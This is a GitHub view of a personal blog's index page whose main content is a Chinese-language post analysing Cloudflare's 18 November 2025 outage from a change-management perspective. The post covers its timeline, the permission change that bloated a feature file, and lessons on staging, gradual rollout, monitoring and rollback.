Repository navigation
Expand file tree
/
Copy pathindex.html
More file actions
1477 lines (1121 loc) · 391 KB
/
Copy pathindex.html
File metadata and controls
1477 lines (1121 loc) · 391 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="generator" content="Eadom's Blog">
<title>Eadom's Blog</title>
<meta name="author" content="Eadom">
<link rel="icon" href="https://blog.eadom.net/assets/images/avatar.jpg">
<link rel="alternate" type="application/atom+xml" title="RSS" href="/atom.xml">
<script type="application/ld+json">{"@context":"http://schema.org","@type":"Website","@id":"https://blog.eadom.net","author":{"@type":"Person","name":"Eadom","sameAs":["https://github.com/eadom","https://www.linkedin.com/in/yukunliu/","http://weibo.com/onetpig","https://twitter.com/Yufan_L"],"image":"avatar.jpg"},"name":"Eadom's Blog","description":null,"url":"https://blog.eadom.net"}</script>
<meta property="og:type" content="blog">
<meta property="og:title" content="Eadom's Blog">
<meta property="og:url" content="https://blog.eadom.net/index.html">
<meta property="og:site_name" content="Eadom's Blog">
<meta property="og:locale" content="en">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="Eadom's Blog">
<meta name="twitter:creator" content="@Yufan_L">
<meta property="og:image" content="https://blog.eadom.net/assets/images/avatar.jpg"/>
<!--STYLES-->
<link rel="stylesheet" href="/assets/css/style-sifsy9oex2dugunw1y6dni61b2yek7gdovchv6fh3t7csw6uv5ophjuqcfmz.min.css">
<!--STYLES END-->
<script type="text/javascript">
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "//hm.baidu.com/hm.js?e2c34d89d7cd8c97b8b39f770eac6769";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
</script>
</head>
<body>
<div id="blog">
<!-- Define author's picture -->
<header id="header" data-behavior="1">
<i id="btn-open-sidebar" class="fa fa-lg fa-bars"></i>
<div class="header-title">
<a
class="header-title-link"
href="/"
aria-label=""
>
Eadom's Blog
</a>
</div>
<a
class="header-right-picture "
href="#about"
aria-label="Open the link: /#about"
>
<img class="header-picture" src="/assets/images/avatar.jpg" alt="Author's picture"/>
</a>
</header>
<!-- Define author's picture -->
<nav id="sidebar" data-behavior="1">
<div class="sidebar-container">
<div class="sidebar-profile">
<a
href="/#about"
aria-label="Read more about the author"
>
<img class="sidebar-profile-picture" src="/assets/images/avatar.jpg" alt="Author's picture"/>
</a>
<h4 class="sidebar-profile-name">Eadom</h4>
<h5 class="sidebar-profile-bio"><p>NO PWN NO FUN</p>
</h5>
</div>
<ul class="sidebar-buttons">
<li class="sidebar-button">
<a
class="sidebar-button-link "
href="/"
rel="noopener"
title="Home"
>
<i class="sidebar-button-icon fa fa-home" aria-hidden="true"></i>
<span class="sidebar-button-desc">Home</span>
</a>
</li>
<li class="sidebar-button">
<a
class="sidebar-button-link "
href="/all-categories"
rel="noopener"
title="Categories"
>
<i class="sidebar-button-icon fa fa-bookmark" aria-hidden="true"></i>
<span class="sidebar-button-desc">Categories</span>
</a>
</li>
<li class="sidebar-button">
<a
class="sidebar-button-link "
href="/all-tags"
rel="noopener"
title="Tags"
>
<i class="sidebar-button-icon fa fa-tags" aria-hidden="true"></i>
<span class="sidebar-button-desc">Tags</span>
</a>
</li>
<li class="sidebar-button">
<a
class="sidebar-button-link "
href="/all-archives"
rel="noopener"
title="Archives"
>
<i class="sidebar-button-icon fa fa-archive" aria-hidden="true"></i>
<span class="sidebar-button-desc">Archives</span>
</a>
</li>
<li class="sidebar-button">
<a
class="sidebar-button-link "
href="#about"
rel="noopener"
title="About"
>
<i class="sidebar-button-icon fa fa-question" aria-hidden="true"></i>
<span class="sidebar-button-desc">About</span>
</a>
</li>
</ul>
<ul class="sidebar-buttons">
<li class="sidebar-button">
<a
class="sidebar-button-link "
href="https://github.com/eadom"
target="_blank"
rel="noopener"
title="GitHub"
>
<i class="sidebar-button-icon fab fa-github" aria-hidden="true"></i>
<span class="sidebar-button-desc">GitHub</span>
</a>
</li>
<li class="sidebar-button">
<a
class="sidebar-button-link "
href="https://www.linkedin.com/in/yukunliu/"
target="_blank"
rel="noopener"
title="LinkedIn"
>
<i class="sidebar-button-icon fab fa-linkedin" aria-hidden="true"></i>
<span class="sidebar-button-desc">LinkedIn</span>
</a>
</li>
<li class="sidebar-button">
<a
class="sidebar-button-link "
href="http://weibo.com/onetpig"
target="_blank"
rel="noopener"
title="Weibo"
>
<i class="sidebar-button-icon fab fa-weibo" aria-hidden="true"></i>
<span class="sidebar-button-desc">Weibo</span>
</a>
</li>
<li class="sidebar-button">
<a
class="sidebar-button-link "
href="https://twitter.com/Yufan_L"
target="_blank"
rel="noopener"
title="Twitter"
>
<i class="sidebar-button-icon fab fa-twitter" aria-hidden="true"></i>
<span class="sidebar-button-desc">Twitter</span>
</a>
</li>
</ul>
<ul class="sidebar-buttons">
<li class="sidebar-button">
<a
class="sidebar-button-link "
href="/atom.xml"
rel="noopener"
title="RSS"
>
<i class="sidebar-button-icon fa fa-rss" aria-hidden="true"></i>
<span class="sidebar-button-desc">RSS</span>
</a>
</li>
</ul>
</div>
</nav>
<div id="main" data-behavior="1"
class="
hasCoverMetaIn
">
<section class="postShorten-group main-content-wrap">
<article class="postShorten postShorten--thumbnailimg-bottom">
<div class="postShorten-wrap">
<div class="postShorten-header">
<h1 class="postShorten-title">
<a
class="link-unstyled"
href="/uncategorized/cloudflare-nov-18-outage-change-perspective/"
aria-label=": 从变更角度“复盘” Cloudflare 11·18 故障"
>
从变更角度“复盘” Cloudflare 11·18 故障
</a>
</h1>
<div class="postShorten-meta">
<time datetime="2025-11-26T21:31:51+08:00">
Nov 26, 2025
</time>
</div>
</div>
<div class="postShorten-content">
<h2 id="1-引言"><a href="#1-引言" class="headerlink" title="1. 引言"></a>1. 引言</h2><p>2025 年 11 月 18 日,Cloudflare 遭遇了一次影响范围不小的故障,导致其部分服务在一段时间内出现明显异常、访问失败或性能下降;具体影响范围可以参考 Cloudflare 在官方博客中发布的复盘报告<a href="https://blog.cloudflare.com/18-november-2025-outage/" target="_blank" rel="noopener">《Cloudflare outage on November 18, 2025》</a>。</p>
<p>事后 Cloudflare 很快发布了详细的技术复盘报告,把这次故障的来龙去脉讲得比较清楚:<strong>直接诱因是一项数据库权限配置变更</strong>,而下游某些 Rust 服务在异常路径上的健壮性不足,被这次变更“精准命中”,最终演化成大面积的服务不可用。在复盘文章里,可以看到典型的 <code>unwrap</code> 使用导致程序在遇到异常数据时直接崩溃,这一点也迅速成了社区讨论的焦点。</p>
<p><code>unwrap</code> 确实是这次事故的重要触发点之一,但如果只停留在“不应该用 unwrap”这个层面,我们能学到的东西其实很有限。<strong>在真实的工程环境里,数据库权限、配置项、安全策略,这类“看起来只是调一下配置”的变更,在研发和安全团队的日常工作中非常常见,而且数量巨大</strong>。很多时候,它们并不会被当成高风险操作对待,更不会被放到和“发一版代码”同等严肃的变更流程里去审视。</p>
<p>正因为如此,在大家都在吐槽 <code>unwrap</code> 的时候,我更想换一个视角:站在一个局外人的位置,只基于 Cloudflare 公开的技术文章,<strong>从“变更”的角度,来看看这次事故里有哪些稳定性和安全运维层面的经验教训,是我们在日常做配置 / 安全控制变更时可以借鉴的</strong>。</p>
<h2 id="2-事件回顾和-Cloudflare-的技术报告"><a href="#2-事件回顾和-Cloudflare-的技术报告" class="headerlink" title="2. 事件回顾和 Cloudflare 的技术报告"></a>2. 事件回顾和 Cloudflare 的技术报告</h2><p>在进入后面的讨论之前,我先按照 Cloudflare 官方技术文章里的信息,把这次故障的经过简单串一下。几个关键时间点(UTC):</p>
<ul>
<li><strong>11:05</strong>:数据库访问控制变更部署</li>
<li><strong>11:28</strong>:影响开始产生(Impact starts)</li>
<li><strong>13:05</strong>:对 Workers KV / Access 启用 bypass,影响降低</li>
<li><strong>13:37</strong>:确认 Bot Management 配置文件为触发点,开始回滚/修复至 last-known-good</li>
<li><strong>14:30</strong>:主要影响解除(Main impact resolved)</li>
<li><strong>17:06</strong>:所有服务恢复(All services resolved)</li>
</ul>
<p>在这个时间线里,Cloudflare 官方给出的故事大致可以拆成以下几步。</p>
<h3 id="2-1-起点:数据库访问控制变更(11-05-UTC)"><a href="#2-1-起点:数据库访问控制变更(11-05-UTC)" class="headerlink" title="2.1 起点:数据库访问控制变更(11:05 UTC)"></a>2.1 起点:数据库访问控制变更(11:05 UTC)</h3><p>从官方时间线来看,这次事故的起点很清晰:<strong>11:05 UTC,Cloudflare 在一套用于生成 Bot Management 特征配置的数据库上,部署了一次权限相关的配置变更(database access control change)。</strong></p>
<p>Cloudflare 在复盘里解释,这次变更的初衷是:</p>
<ul>
<li>把原本“隐式”的表访问权限改成“显式授权”,</li>
<li>让分布式查询可以在真实用户账户而不是共享系统账户下执行,</li>
<li>这样才能对每个用户的查询更细粒度地评估访问授权和查询限额(access grants / query limits),从安全和资源控制角度把关。</li>
</ul>
<p>问题在于:生成 Bot Management <strong>feature file(特征配置文件)</strong> 的那条查询并没有显式区分哪些库/表应该被统计进去。变更生效后,这条查询突然多拿到了一批原本不会出现的信息,导致:</p>
<ul>
<li>查询结果的行数接近翻倍;</li>
<li>按这个结果生成的 feature file 体积也明显变大,特征数量远超正常水平;</li>
<li>这份“变胖了”的配置文件依然按原有节奏在全网周期性刷新和分发。</li>
</ul>
<p>就变更本身来说,它在当时<strong>看上去更像是一条常规的权限/安全配置调整</strong>,而不是那种一眼就会被当作“高危大变更”的架构级操作。</p>
<h3 id="2-2-症状出现:核心流量异常(11-28-UTC-之后)"><a href="#2-2-症状出现:核心流量异常(11-28-UTC-之后)" class="headerlink" title="2.2 症状出现:核心流量异常(11:28 UTC 之后)"></a>2.2 症状出现:核心流量异常(11:28 UTC 之后)</h3><p>官方文章在 “The outage” 一节里,展示了一张 5xx 错误量曲线图:原本很低的错误率在 11 点多突然抬升,并出现一段时间的反复波动。</p>
<p>在文章末尾的时间线表中,<strong>11:28</strong> 被标记为:</p>
<blockquote>
<p>Impact starts. Deployment reaches customer environments, first errors observed on customer HTTP traffic.</p>
</blockquote>
<p>对外部用户来说,这一阶段的直接表现就是:</p>
<ul>
<li>大量站点返回 Cloudflare 自己的 5xx 错误页;</li>
<li>Workers KV、Access、Dashboard、Turnstile 等依赖核心代理(Cloudflare 文中称为 core proxy,并用 FL/FL2 指代其不同代际/版本的核心代理组件)的服务出现错误或不可用;</li>
<li>整体 HTTP 流量表现为“时好时坏”的波动。</li>
</ul>
<p>波动的原因在官方报告里也解释得比较清楚:</p>
<ul>
<li>feature file 每几分钟重新生成一次并分发到全网;</li>
<li>ClickHouse 集群在逐步更新,只有已经应用访问控制变更的节点会生成“坏文件”;</li>
<li>每一轮刷新,有可能生成“好配置”或“坏配置”,然后快速推送,导致系统在“好文件 / 坏文件”之间反复切换。</li>
</ul>
<h3 id="2-3-定位过程:收敛到数据库-权限策略与-Bot-Management-特征文件(11-28–14-30-UTC)"><a href="#2-3-定位过程:收敛到数据库-权限策略与-Bot-Management-特征文件(11-28–14-30-UTC)" class="headerlink" title="2.3 定位过程:收敛到数据库 / 权限策略与 Bot Management 特征文件(11:28–14:30 UTC)"></a>2.3 定位过程:收敛到数据库 / 权限策略与 Bot Management 特征文件(11:28–14:30 UTC)</h3><p>时间线显示,<strong>11:32–13:05</strong> 这段时间里,团队最初是沿着 <strong>Workers KV 错误和高流量</strong> 的症状在排查:</p>
<blockquote>
<p>“The team investigated elevated traffic levels and errors to Workers KV service… mitigations such as traffic manipulation and account limiting were attempted…”</p>
</blockquote>
<p>随着排障推进,Cloudflare 在 “The query behaviour change” 与 “Memory preallocation” 两节中,把技术链路写得很直白:</p>
<ol>
<li><strong>数据库层</strong>:访问控制变更后,查询时多返回了数据,响应行数接近翻倍;</li>
<li><strong>配置生成层</strong>:用这条查询生成的 Bot Management feature file 跟着“变胖”,特征数量远超平时(文中描述为 “effectively more than doubling the rows in the response ultimately affecting the number of rows (i.e. features) in the final file output”);</li>
<li><strong>核心代理层</strong>:core proxy 上的 Bot Management 模块,为了预分配内存和防止无界增长,对特征数量设了一个硬上限(200,正常使用约 60);</li>
<li><p>当超大 feature file 触发这个上限时,核心组件 FL2 的 Rust 代码在检查时调用了 <code>unwrap()</code>,在 Err 分支 panic:</p>
<blockquote>
<p>thread fl2_worker_thread panicked: called Result::unwrap() on an Err value</p>
</blockquote>
</li>
</ol>
<p>时间线中,<strong>13:37</strong> 这一行直接写道:</p>
<blockquote>
<p>Work focused on rollback of the Bot Management configuration file to a last-known-good version. We were confident that the Bot Management configuration file was the trigger for the incident.</p>
</blockquote>
<p>也就是说,到 13:37 前后,团队已经把问题清楚地收敛到这一链路上:</p>
<blockquote>
<p>数据库访问控制变更 → 查询行为变化 → feature file 异常膨胀 → Bot Management 模块触发 unwrap() panic → 核心代理返回大规模 5xx。</p>
</blockquote>
<h3 id="2-4-处置与恢复:回滚配置与重启服务(13-05–17-06-UTC)"><a href="#2-4-处置与恢复:回滚配置与重启服务(13-05–17-06-UTC)" class="headerlink" title="2.4 处置与恢复:回滚配置与重启服务(13:05–17:06 UTC)"></a>2.4 处置与恢复:回滚配置与重启服务(13:05–17:06 UTC)</h3><p>后续的处置流程在官方时间线里也有完整记录,可以粗略分成三段:</p>
<ol>
<li><strong>先压住影响面(13:05 起)</strong><ul>
<li><strong>13:05</strong>:<blockquote>
<p>Workers KV and Cloudflare Access bypass implemented — impact reduced.</p>
</blockquote>
</li>
<li>做法是通过内部 bypass,让 Workers KV 和 Access 回退到 core proxy 的旧版本,虽然旧版本同样存在问题,但影响范围和程度都更小,因此整体错误率明显下降。</li>
</ul>
</li>
<li><strong>修配置文件,恢复核心流量(13:37–14:30)</strong><ul>
<li><strong>13:37</strong>:工作重点转向回滚 Bot Management 配置文件到 last-known-good 版本;</li>
<li><strong>14:24</strong>:<ul>
<li>停止生成与分发新的 Bot Management 配置文件;</li>
<li>使用旧版本配置文件的恢复测试完成;</li>
</ul>
</li>
<li><strong>14:30</strong>:<blockquote>
<p>Main impact resolved. A correct Bot Management configuration file was deployed globally and most services started operating correctly.</p>
</blockquote>
</li>
</ul>
</li>
<li><strong>清理长尾,全部恢复(14:30–17:06)</strong><ul>
<li>核心流量恢复后,剩下的是重启在事故中进入 bad state 的下游服务;</li>
<li><strong>17:06</strong> :<blockquote>
<p>All services resolved. Impact ends. All downstream services restarted and all operations fully restored.</p>
</blockquote>
</li>
</ul>
</li>
</ol>
<p>到这里为止,官方技术报告给出的“工程师视角故事线”就完整了:</p>
<ul>
<li>11:05 的数据库访问控制变更改变了系统表查询行为;</li>
<li>被用于生成 Bot Management 特征配置文件的查询没有过滤 database,导致配置文件异常膨胀;</li>
<li>核心代理中的 Bot Management 模块在遇到这份“超大配置”时触发 <code>unwrap()</code> panic,引发大规模 5xx;</li>
<li>通过 bypass 降低影响面、回滚 / 修复配置文件、重启下游服务,在 14:30 解除主体影响,17:06 完成收尾。</li>
</ul>
<hr>
<p>到这里为止,我只是把 Cloudflare 在官方复盘里公开的内容,整理成了一条相对清晰的时间线和技术链路。换句话说:前面的所有事实,都是从那篇博客和时间线表里来的,我并没有也不可能掌握他们内部更多的细节。</p>
<p>接下来如果从变更和稳定性体系的角度往下展开,就难免会带一点推断和类比。这些推断<strong>有可能和 Cloudflare 内部当时的真实情况并不完全一致</strong>,也不代表我在评价或还原他们的具体决策过程,更谈不上指责。</p>
<p>更合适的理解是:把这次事故当成一个公开、细节足够丰富的案例,把官方给出的时间线和技术原因当作“题面”,后面的分析只是借这道题来反思我们自己在变更、稳定性上的潜在问题,看看能从中抽象出哪些对自己有用的经验教训。后文更关注机制与流程如何把风险收住,而不是复盘某个具体个人/团队的对错。</p>
<h2 id="3-从变更视角看这次故障"><a href="#3-从变更视角看这次故障" class="headerlink" title="3. 从变更视角看这次故障"></a>3. 从变更视角看这次故障</h2><p>大家都在讨论 <code>unwrap</code>、错误处理不健壮,但真正把这一串问题引爆的,是一类我们日常也经常做的事情——<strong>改了一条权限 / 策略 / 配置</strong>。</p>
<p>这类操作在任何公司都很常见:收紧一下权限、加一条安全规则、改一条控制面配置。平时我们可能把它归类成“小变更”。这次事故对我们来说,也是一个“复盘”自查的机会,可以就把它当成一次典型的<strong>高危配置 / 安全策略变更事故</strong>,按变更的几个阶段回头看看:如果同样的事发生在我们系统里,哪些环节我们自己也容易掉链子。</p>
<p>下面这些都是站在“做事的人”的角度做的“复盘”与自查,不是去评价 Cloudflare 做得好不好。</p>
<h3 id="3-1-影响面评估:这次变更到底多“高危”"><a href="#3-1-影响面评估:这次变更到底多“高危”" class="headerlink" title="3.1 影响面评估:这次变更到底多“高危”"></a>3.1 影响面评估:这次变更到底多“高危”</h3><p>先看第一步:这次到底改了个什么东西。</p>
<p>这一类权限 / 策略变更,在日常开发里,很容易被当成“就改一下配置”——不改代码、不发新版本,只是调整一条规则,看起来像是低风险操作。</p>
<p>评估风险大小至少可以拆成两个维度:</p>
<ol>
<li><strong>所处平面和作用域(它在哪一层)</strong><ul>
<li>是某个单体服务的本地配置,只影响局部行为;</li>
<li>还是控制面 / 安全面上的全局策略,例如:认证授权、集中配置、路由 / 流量调度这类“公共基础设施”。</li>
</ul>
</li>
<li><strong>依赖关系和影响链路(后面连着谁)</strong><ul>
<li>有多少关键服务 / 关键路径依赖这条配置 / 策略才能继续往下走;</li>
<li>它是不是在多条核心链路上的必经节点,是典型的 critical path / chokepoint 还是一个 leaf node。</li>
</ul>
</li>
</ol>
<p>Cloudflare 这次动的是核心组件访问数据的权限,从复盘描述看,很难把它归类成一个“局部、低影响的本地配置”。在任何一个复杂系统里,这种“全局共享 + 被关键链路反复访问”的配置,按理都应该直接归到高危变更的范畴。</p>
<p>现实里又有另一个情况:历史系统经过多年演化,上下游依赖关系复杂。但我觉得这时候,仍然有必要做一些自查,多思考几个问题,比如:</p>
<ul>
<li>如果这个配置完全失效,用户侧最直观的症状会是什么,最坏情况下,它会导致什么样的影响?</li>
<li>有哪些关键服务 / 功能一定要依赖这条配置?</li>
<li>过去的故障 / 变更记录里,有没有跟它相关的坑?</li>
</ul>
<p>如果这些问题都答不出一个相对有把握的结论,并不代表这个变更风险就低,反而说明:</p>
<p>我们现在对它的影响面认知还不够清晰,这种情况下,把它当成“小配置改动”随手上生产,其实是比较危险的。</p>
<h3 id="3-2-事前验证:先在可控环境里把“正常”和“异常”都走一遍"><a href="#3-2-事前验证:先在可控环境里把“正常”和“异常”都走一遍" class="headerlink" title="3.2 事前验证:先在可控环境里把“正常”和“异常”都走一遍"></a>3.2 事前验证:先在可控环境里把“正常”和“异常”都走一遍</h3><p>如果可以在一个安全的测试环境里先行验证,有可能先暴露这个问题。</p>
<p>有些人平时做配置 / 策略变更,习惯往往是很简单的:</p>
<p>改完之后在控制台点两下、跑一跑页面,发现“看起来还能用”,然后就上生产了。</p>
<p>如果事先没认真在测试环境里验证一遍,直接上生产环境变更就等于是给未知行为兜底。</p>
<p>对这类高危变更:</p>
<ul>
<li>上生产之前,先在测试 / 预发环境完成测试,如果是阻断策略,也可以通过日志观察比对验证;</li>
<li>在这个过程中,不需要穷举所有异常,但至少要有意识地想一想、看一看:<ul>
<li>配置 / 策略拿不到、读错了、大致会长成什么样;</li>
<li>系统在这种情况下,是还能撑住,还是直接炸掉。</li>
</ul>
</li>
</ul>
<p>大规模系统里,确实不可能在测试环境推演所有坏情况,这个目标本身就不现实。</p>
<p>但在上生产之前,至少要做一件事:<strong>不要把“配置 / 策略永远没问题”当成默认前提</strong>,而是先在一个相对安全的环境里,确认一下最基本的正常和异常场景,是否符合预期。</p>
<h3 id="3-3-灰度:别一上来就全网生效"><a href="#3-3-灰度:别一上来就全网生效" class="headerlink" title="3.3 灰度:别一上来就全网生效"></a>3.3 灰度:别一上来就全网生效</h3><p>即使测试 / 预发环境都跑过了,生产一定会面临更复杂的情况:真实数据、边缘场景、奇怪的调用链、历史遗留配置,都会叠加进来。所以有计划的分批次灰度发布非常重要。几种比较常见、也比较实用的手法:</p>
<ul>
<li><strong>按范围灰度</strong><ul>
<li>按 Region / 机房 / 用户群 / 业务线分批;</li>
<li>第一批尽量选影响范围小、可观测性好的对象。</li>
</ul>
</li>
<li><strong>先监控,再执行</strong><ul>
<li>安全策略先以 log-only / monitor-only 的方式 dry run 跑一段时间:<ul>
<li>记录“如果现在真执行,会拦掉哪些请求”;</li>
<li>统计“会放过哪些我们不希望放过的请求”;</li>
</ul>
</li>
<li>没有明显问题,再切到 enforce 模式。</li>
</ul>
</li>
<li><strong>做好灰度计划</strong><ul>
<li>提前定好:灰度的批次,达到什么要求,我们就可以往下放一批;</li>
</ul>
</li>
</ul>
<p>其实很多时候问题不是“没做灰度”,而是这类配置 / 策略从设计第一天起,就没有灰度控制的能力。当然,如果某条配置一上来就只能全局生效,而且它又处在核心链路,那它本身就是一个需要去解决的技术债。</p>
<h3 id="3-4-观测能力与快速恢复:让影响可见可止血"><a href="#3-4-观测能力与快速恢复:让影响可见可止血" class="headerlink" title="3.4 观测能力与快速恢复:让影响可见可止血"></a>3.4 观测能力与快速恢复:让影响可见可止血</h3><p>出问题这件事本身很难完全避免,那接下来就看两件事:</p>
<ol>
<li>出了问题,能不能被及时观测到,并且尽快把异常与本次变更关联起来;</li>
<li>能不能快速拉齐相关方,迅速止血。</li>
</ol>
<p><strong>变更发起者(变更 owner)需要对此负责</strong>,对高危配置 / 策略变更来说,变更 owner 的责任不只是“把变更改对”,而是要在发起变更之前,就把下面两点想清楚、准备好,并落在 SOP 中:</p>
<ul>
<li>如何判断这次变更是否按预期生效、有没有带来额外副作用;</li>
<li>一旦出现异常,应该如何处置,触发什么条件需要回滚或熔断。</li>
</ul>
<h4 id="3-4-1-观测:变更-owner-要先把观测指标定好"><a href="#3-4-1-观测:变更-owner-要先把观测指标定好" class="headerlink" title="3.4.1 观测:变更 owner 要先把观测指标定好"></a>3.4.1 观测:变更 owner 要先把观测指标定好</h4><p>业务侧的观测一般比较完备。但变更的 owner 并不一定有如同业务一样完备的观测能力和视角。<strong>变更 owner 需要在变更执行前,把与本次变更直接相关的观测能力先对齐好</strong>。对于 SRE、安全这类跨多方的变更,这个过程往往离不开跨部门协同。</p>
<p>可以具体拆成几件事:</p>
<ol>
<li><strong>先列清楚:这次变更可能影响哪些链路、哪些指标</strong><ul>
<li>我改的是一条安全策略 / 配置规则,它会作用在:<ul>
<li>哪些入口(网关、CDN、API 网关…);</li>
<li>哪些下游(认证、业务服务、数据库 / 缓存…);</li>
<li>哪些用户 / 租户 / 区域。</li>
</ul>
</li>
<li>对每一类影响,预先想一遍:<ul>
<li>正常情况下,哪些指标会有轻微波动(例如某类请求被拒绝率小幅上升);</li>
<li>异常情况下,哪些指标会率先发生明显异常(例如某几个接口 5xx 暴涨)。</li>
</ul>
</li>
</ul>
</li>
<li><strong>与上下游一起梳理异常观测指标和告警信号</strong><ul>
<li>在发起变更前,变更 owner 主动与相关方对齐两类信息:<ul>
<li>各方现有的关键观测指标和告警规则:出现异常时优先关注哪些 dashboard / 告警;</li>
<li>在变更相关的日志 / 指标里,是否需要增加哪些字段,以便后续快速按维度筛查。</li>
</ul>
</li>
<li>理想的状态是:<ul>
<li>在变更 owner 自己的 dashboard 里,可以看到这次变更涉及的上下游关键指标;</li>
<li>所有人都清楚“这次变更要重点盯哪几个指标、哪些异常信号一出现就需要进入处置流程”。</li>
</ul>
</li>
</ul>
</li>
<li><strong>在监控 / 日志里给变更本身留“痕迹”</strong><ul>
<li>相应的变更系统,至少要做到:<ul>
<li>能够区分不同的配置 / 策略版本;</li>
<li>能够在日志或查询里,把“使用新配置 / 新策略”的请求、租户、区域筛选出来。</li>
</ul>
</li>
</ul>
</li>
</ol>
<p>回到这次故障上,本身系统的观测也是有一定问题的,<code>unwrap</code> 导致panic级别的问题应该被捕获并且告警。但如果变更 owner 可以多想多做几步,或许能够更快速地把故障指征归因到他的变更上。</p>
<h4 id="3-4-2-响应协同:以快速止血为目标"><a href="#3-4-2-响应协同:以快速止血为目标" class="headerlink" title="3.4.2 响应协同:以快速止血为目标"></a>3.4.2 响应协同:以快速止血为目标</h4><p>这次 Cloudflare 故障,从业务异常到定位到特定权限 / 特征文件变更导致的问题,过程拉得很长,很可能的原因是,变更信息没有在上下游充分同步,处置现场一开始也没有足够意识到“这波异常和哪一次变更高度相关”。</p>
<p>从变更 owner 的视角,可以关注以下几点:</p>
<ol>
<li><strong>变更的“共同上下文”要统一</strong><ul>
<li>每一次高危变更都要有明确的变更 ID / 版本号 / 影响范围(租户、区域、实例批次等),确保上下游知晓;</li>
</ul>
</li>
<li><strong>定义好 SOP,关键指标要提前对齐好</strong><ul>
<li>结合上文对齐好的观测指标,提前约定好异常指标出现后的处置动作。</li>
<li>快速恢复动作尽量简单:先按预案降级或回滚,优先保障可用性,安全 / 合规问题通过后续补偿措施兜底。</li>
</ul>
</li>
<li><strong>降级/熔断设计</strong> <ul>
<li>临时关闭某个依赖路径,不再调用这条有问题的链路;</li>
<li>将某些策略从“强制阻断”降级为“仅记录 + 限流”;</li>
<li>对下游返回一个可预期的降级结果,而不是继续把异常往更深的地方传。</li>
</ul>
</li>
<li><strong>恢复链路尽量简单,避免循环依赖</strong><ul>
<li>典型的循环依赖场景:<ul>
<li>回滚配置要通过同一套控制面 / 配置系统下发,而这套控制面此刻就因为这次变更不可用;</li>
<li>执行回滚需要某些权限 / 认证链路,碰巧这次改的就是这层;</li>
<li>回滚脚本依赖的一些后端服务也在故障链路里,导致脚本半路就跑挂了。</li>
</ul>
</li>
</ul>
</li>
<li><strong>通过演练把这一套联动跑顺</strong><ul>
<li>围绕典型高危变更,进行演练。演练不只是看“回滚脚本能不能跑通”。而是验证 SOP 中的观测指标能否与故障场景关联,并及时发起恢复操作。</li>
